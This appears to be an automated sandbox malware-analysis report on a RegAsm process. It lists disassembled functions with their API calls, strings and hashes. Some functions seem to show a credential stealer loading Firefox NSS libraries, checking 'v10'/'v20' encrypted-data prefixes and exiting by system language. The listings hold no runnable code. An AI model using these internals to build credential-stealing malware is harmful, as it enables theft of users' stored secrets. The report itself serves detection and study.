Instruction Fuzzy Hash: E2F02E31E549647BD7009556CC22FCE3B555F11319F4A49F0FD047BE52D31AA85083D1

Function 6C544DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C544E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C544E4D

Strings

invalid, xrefs: 6C544E25
%s at line %d of [%.10s], xrefs: 6C544E47
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C544E38
misuse, xrefs: 6C544E42
API call with %s database connection pointer, xrefs: 6C544E2A

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: fb347f56a001f36196ccce89d5332f8c434b1168840aa900f20bb000f6ec6591
Instruction ID: bc9d2231a3cb27150ed016694d085566f3a71af8302732d619944c26fe5f7ec2
Opcode Fuzzy Hash: fb347f56a001f36196ccce89d5332f8c434b1168840aa900f20bb000f6ec6591
Instruction Fuzzy Hash: 1EF02731EC49282BE71054669C21F8A3B855B11329F0DC5A1EE087BE93D30A987142D3

Function 00416770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32(?,?,00416A26,00420AEF), ref: 00416774
ExitProcess.KERNEL32 ref: 004167A5
ExitProcess.KERNEL32 ref: 004167AF
ExitProcess.KERNEL32 ref: 004167B9
ExitProcess.KERNEL32 ref: 004167C3
ExitProcess.KERNEL32 ref: 004167CD

Strings

B, xrefs: 00416780, 0041678C

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: B
API String ID: 1494266314-2248957098
Opcode ID: 06d82b50bec3daad471bac9186370b40fc7c44d51d66305ede144e8412a302ef
Instruction ID: a53c6ee3ffce5caaac90cf9b44aa2343e9827e2133a721021c11305bfc7fe0eb
Opcode Fuzzy Hash: 06d82b50bec3daad471bac9186370b40fc7c44d51d66305ede144e8412a302ef
Instruction Fuzzy Hash: C2F03A38984209FFE3549FE0A90976C7B72FB06702F04019DF709862D0D6748A519B96

Function 6C4B0C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6C4B1444,?,00000001,?,00000000,00000000,?,?,6C4B1444,?,?,00000000,?,?), ref: 6C4B0CB3

Part of subcall function 6C51C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C51C2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C4B1444,?,00000001,?,00000000,00000000,?,?,6C4B1444,?), ref: 6C4B0DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6C4B1444,?,00000001,?,00000000,00000000,?,?,6C4B1444,?), ref: 6C4B0DEC

Part of subcall function 6C4D0F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C472AF5,?,?,?,?,?,6C470A1B,00000000), ref: 6C4D0F1A
Part of subcall function 6C4D0F10: malloc.MOZGLUE(00000001), ref: 6C4D0F30
Part of subcall function 6C4D0F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C4D0F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6C4B1444,?,00000001,?,00000000,00000000,?), ref: 6C4B0DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6C4B1444,?,00000001,?,00000000), ref: 6C4B0E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C4B1444,?,00000001,?,00000000,00000000,?), ref: 6C4B0E53
PR_GetCurrentThread.NSS3(?,?,?,?,6C4B1444,?,00000001,?,00000000,00000000,?,?,6C4B1444,?,?,00000000), ref: 6C4B0E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C4B1444,?,00000001,?,00000000,00000000,?), ref: 6C4B0E79

Part of subcall function 6C4C1560: TlsGetValue.KERNEL32(00000000,?,6C490844,?), ref: 6C4C157A
Part of subcall function 6C4C1560: EnterCriticalSection.KERNEL32(?,?,?,6C490844,?), ref: 6C4C158F
Part of subcall function 6C4C1560: PR_Unlock.NSS3(?,?,?,?,6C490844,?), ref: 6C4C15B2

Part of subcall function 6C48B1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6C491397,00000000,?,6C48CF93,5B5F5EC0,00000000,?,6C491397,?), ref: 6C48B1CB
Part of subcall function 6C48B1A0: free.MOZGLUE(5B5F5EC0,?,6C48CF93,5B5F5EC0,00000000,?,6C491397,?), ref: 6C48B1D2

Part of subcall function 6C4889E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6C4888AE,-00000008), ref: 6C488A04
Part of subcall function 6C4889E0: EnterCriticalSection.KERNEL32(?), ref: 6C488A15
Part of subcall function 6C4889E0: memset.VCRUNTIME140(6C4888AE,00000000,00000132), ref: 6C488A27
Part of subcall function 6C4889E0: PR_Unlock.NSS3(?), ref: 6C488A35

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: 4d9a00a378e8ddd31add2964990aff2bcfd88765bf11fa8f7aa0722309b23554
Instruction ID: 5ddcf4292c888d882b081e19fdd0da6f7d75ee0144b5b777cca20d11710a0f40
Opcode Fuzzy Hash: 4d9a00a378e8ddd31add2964990aff2bcfd88765bf11fa8f7aa0722309b23554
Instruction Fuzzy Hash: AB51C6F5E012105FEB10DF64DD81EAB37A8AF45259F150068EC09ABB52FB31ED1586F2

Function 6C466E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6C466ED8
sqlite3_value_text.NSS3(?,?), ref: 6C466EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6C466FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6C466FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6C466FF0
sqlite3_value_blob.NSS3(?,?), ref: 6C467010
sqlite3_value_blob.NSS3(?,?), ref: 6C46701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6C467052

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: d3872a12b5541e6eb9050e2768900c4ee2ee367e67592a910cf3806b4ac4d78c
Instruction ID: 289875c5c39dfbca6e357bfb23965bd9553f6e8b20e59c6a2f7255d130917c5b
Opcode Fuzzy Hash: d3872a12b5541e6eb9050e2768900c4ee2ee367e67592a910cf3806b4ac4d78c
Instruction Fuzzy Hash: 2B61E5B1E192158FDB04CF66D800FEEB7B2AF85308F184169D855ABF59E7319C06CBA0

Function 00409E10 Relevance: 12.2, APIs: 4, Strings: 4, Instructions: 167memoryCOMMON

Download Yara Rule

APIs

memcmp.MSVCRT(?,v20,00000003), ref: 00409E2D

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00410A60: memset.MSVCRT ref: 00410C1C
Part of subcall function 00410A60: lstrcatA.KERNEL32(?,00000000), ref: 00410C35
Part of subcall function 00410A60: lstrcatA.KERNEL32(?,00420D7C), ref: 00410C47
Part of subcall function 00410A60: lstrcatA.KERNEL32(?,00000000), ref: 00410C5D
Part of subcall function 00410A60: lstrcatA.KERNEL32(?,00420D80), ref: 00410C6F

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

memcmp.MSVCRT(?,v10,00000003), ref: 00409EAF
memset.MSVCRT ref: 00409EE8
LocalAlloc.KERNEL32(00000040,?), ref: 00409F41

Strings

v20, xrefs: 00409E21
v10, xrefs: 00409EA3
ERROR_RUN_EXTRACTOR, xrefs: 00409E67
@, xrefs: 00409EF1

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpymemcmpmemset$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 1977917189-1096346117
Opcode ID: cf3bd8b6a91d7380b4fcfdc4a2eaf8d3038d72e2fe7c69aa23c32b41aba9b41f
Instruction ID: cfc602575c7eb8b90e75612a825b183f0a0020e5ceb1952e76b28d7f8d83ce04
Opcode Fuzzy Hash: cf3bd8b6a91d7380b4fcfdc4a2eaf8d3038d72e2fe7c69aa23c32b41aba9b41f
Instruction Fuzzy Hash: C9615F30A00248EBCB24EFA5DD96FED7775AF44304F408029F90A6F1D1DB786A56CB5A

Function 6C4C2470 Relevance: 12.1, APIs: 8, Instructions: 141COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6C4C2D7C,6C499192,?), ref: 6C4C248E
EnterCriticalSection.KERNEL32(02B80138), ref: 6C4C24A2
memset.VCRUNTIME140(6C4C2D7C,00000020,6C4C2D5C), ref: 6C4C250E
memset.VCRUNTIME140(6C4C2D9C,00000020,6C4C2D7C), ref: 6C4C2535
memset.VCRUNTIME140(?,00000020,?), ref: 6C4C255C
memset.VCRUNTIME140(?,00000020,?), ref: 6C4C2583
PR_Unlock.NSS3(?), ref: 6C4C2594
PR_SetError.NSS3(00000000,00000000), ref: 6C4C25AF

Part of subcall function 6C51C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C51C2BF

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: memset$Value$CriticalEnterErrorSectionUnlock
String ID:
API String ID: 2972906980-0
Opcode ID: 78849f5de49983c0f9ad8e9e3214ee209e44ac3c411e2e9974fa50c1c5d81389
Instruction ID: f403fb190a8bdef3e7a75898cf6320149edde7f4a4617f80a64919a75ef886d9
Opcode Fuzzy Hash: 78849f5de49983c0f9ad8e9e3214ee209e44ac3c411e2e9974fa50c1c5d81389
Instruction Fuzzy Hash: 5641E8B5F003019BEB11DF34DC58FAA3774BB99319F151668DC05D7662FBB0A984C292

Function 6C4BAC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6C4BAB3E,?,?,?), ref: 6C4BAC35

Part of subcall function 6C49CEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6C49CF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C4BAB3E,?,?,?), ref: 6C4BAC55

Part of subcall function 6C4D10C0: TlsGetValue.KERNEL32(?,6C478802,00000000,00000008,?,6C46EF74,00000000), ref: 6C4D10F3
Part of subcall function 6C4D10C0: EnterCriticalSection.KERNEL32(?,?,6C478802,00000000,00000008,?,6C46EF74,00000000), ref: 6C4D110C
Part of subcall function 6C4D10C0: PL_ArenaAllocate.NSS3(?,?,?,6C478802,00000000,00000008,?,6C46EF74,00000000), ref: 6C4D1141
Part of subcall function 6C4D10C0: PR_Unlock.NSS3(?,?,?,6C478802,00000000,00000008,?,6C46EF74,00000000), ref: 6C4D1182
Part of subcall function 6C4D10C0: TlsGetValue.KERNEL32(?,6C478802,00000000,00000008,?,6C46EF74,00000000), ref: 6C4D119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6C4BAB3E,?,?), ref: 6C4BAC70

Part of subcall function 6C49E300: TlsGetValue.KERNEL32 ref: 6C49E33C
Part of subcall function 6C49E300: EnterCriticalSection.KERNEL32(?), ref: 6C49E350
Part of subcall function 6C49E300: PR_Unlock.NSS3(?), ref: 6C49E5BC
Part of subcall function 6C49E300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6C49E5CA
Part of subcall function 6C49E300: TlsGetValue.KERNEL32 ref: 6C49E5F2
Part of subcall function 6C49E300: EnterCriticalSection.KERNEL32(?), ref: 6C49E606
Part of subcall function 6C49E300: PORT_Alloc_Util.NSS3(?), ref: 6C49E613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6C4BAC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6C4BAB3E), ref: 6C4BACD7
PORT_Alloc_Util.NSS3(?), ref: 6C4BAD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6C4BAD2B

Part of subcall function 6C49F360: TlsGetValue.KERNEL32(00000000,?,6C4BA904,?), ref: 6C49F38B
Part of subcall function 6C49F360: EnterCriticalSection.KERNEL32(?,?,?,6C4BA904,?), ref: 6C49F3A0
Part of subcall function 6C49F360: PR_Unlock.NSS3(?,?,?,?,6C4BA904,?), ref: 6C49F3D3

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: 82241a5dca83bb2d683eb1d19acc12e52411a5db0dd0de307b3f2219535ac007
Instruction ID: e5c3672a96360c1ee85c41b8b9d198667f4bc5e18be6a721e9f53991e0af4443
Opcode Fuzzy Hash: 82241a5dca83bb2d683eb1d19acc12e52411a5db0dd0de307b3f2219535ac007
Instruction Fuzzy Hash: 893126B1E006155FEB00DE698C40DAF7B76AF84328B19812CE819AB740EB31AD0597F1

Function 6C498C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C498C7C

Part of subcall function 6C539DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C580A27), ref: 6C539DC6
Part of subcall function 6C539DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C580A27), ref: 6C539DD1
Part of subcall function 6C539DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C539DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C498CB0
TlsGetValue.KERNEL32 ref: 6C498CD1
EnterCriticalSection.KERNEL32(?), ref: 6C498CE5
PR_Unlock.NSS3(?), ref: 6C498D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6C498D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C498D93

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: 90082df8ded69e48e751f6394466a5436d4a4a28ff14d51e3d1da299b0d88b61
Instruction ID: cba4450bdd4d825cd769908b14c79650ad8be9e97cf332eeb2196fff2715c3c4
Opcode Fuzzy Hash: 90082df8ded69e48e751f6394466a5436d4a4a28ff14d51e3d1da299b0d88b61
Instruction Fuzzy Hash: CE313771A01221ABE700DF68DC44FAABB70BF55318F24023AEA1967B60D771B954C7C1

Function 6C4B8500 Relevance: 10.6, APIs: 7, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6C4B95DC,00000000,00000000,00000000,?,6C4B95DC,00000000,00000000,?,6C497F4A,00000000,?,00000000,00000000), ref: 6C4B8517

Part of subcall function 6C4CBE30: SECOID_FindOID_Util.NSS3(6C48311B,00000000,?,6C48311B,?), ref: 6C4CBE44

PORT_NewArena_Util.NSS3(00000800,00000000,00000000,?,6C497F4A,00000000,?,00000000,00000000), ref: 6C4B8585
PORT_ArenaAlloc_Util.NSS3(00000000,00000034,?,00000000,00000000,?,6C497F4A,00000000,?,00000000,00000000), ref: 6C4B859A
SEC_ASN1DecodeItem_Util.NSS3(00000000,00000000,6C59D8C4,6C4B95D0,?,?,?,00000000,00000000,?,6C497F4A,00000000,?,00000000,00000000), ref: 6C4B85CC
SECOID_GetAlgorithmTag_Util.NSS3(-0000001C,?,?,?,?,?,?,?,00000000,00000000,?,6C497F4A,00000000,?,00000000,00000000), ref: 6C4B85E1
PORT_FreeArena_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,00000000,00000000,?,6C497F4A,00000000,?), ref: 6C4B85F4

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: Util$AlgorithmArena_Tag_$Alloc_ArenaDecodeFindFreeItem_
String ID:
API String ID: 738345241-0
Opcode ID: 03541cba442812891e88870effc214be4aae2f9818f95138f2396cddf3f688e3
Instruction ID: e9cc3f5f32ebbb0b0e096e1f1b14a5eef7884592820608b6aa49f5fb2b1433ff
Opcode Fuzzy Hash: 03541cba442812891e88870effc214be4aae2f9818f95138f2396cddf3f688e3
Instruction Fuzzy Hash: 043135B2E0120357E710D52C8C90F6A3218AB213A9F550667E805F7FD2FB30D99682B2

Function 6C492E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6C48E728,?,00000038,?,?,00000000), ref: 6C492E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C492E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C492E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6C492E8F
PL_HashTableLookup.NSS3(?,?), ref: 6C492E9E
PR_Unlock.NSS3(?), ref: 6C492EAB
PR_Unlock.NSS3(?), ref: 6C492F0D

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: 60f5b62d1d4f5c7b66f2f3019fae9a740bca5fb6b8f4ffc1c3a1e6366fbc1de6
Instruction ID: bc05a042e1911b5117ee8dd2577e6361dbec1dc7ab1f5d16e0594a5ffe435b35
Opcode Fuzzy Hash: 60f5b62d1d4f5c7b66f2f3019fae9a740bca5fb6b8f4ffc1c3a1e6366fbc1de6
Instruction Fuzzy Hash: 5631F479A00515ABEB01EF28DC84C6ABB78FF56259B458178ED0887B11EB31ED64C7E0

Function 6C4C4470 Relevance: 10.6, APIs: 7, Instructions: 82COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,6C487296,00000000), ref: 6C4C4487
EnterCriticalSection.KERNEL32(?,?,?,6C487296,00000000), ref: 6C4C44A0
PR_Unlock.NSS3(?,?,?,?,6C487296,00000000), ref: 6C4C44BB
SECMOD_DestroyModule.NSS3(?,?,?,?,6C487296,00000000), ref: 6C4C44DA
DeleteCriticalSection.KERNEL32(?,?,?,?,6C487296,00000000), ref: 6C4C4530
free.MOZGLUE(?,?,?,?,?,6C487296,00000000), ref: 6C4C453C
PORT_FreeArena_Util.NSS3 ref: 6C4C454F

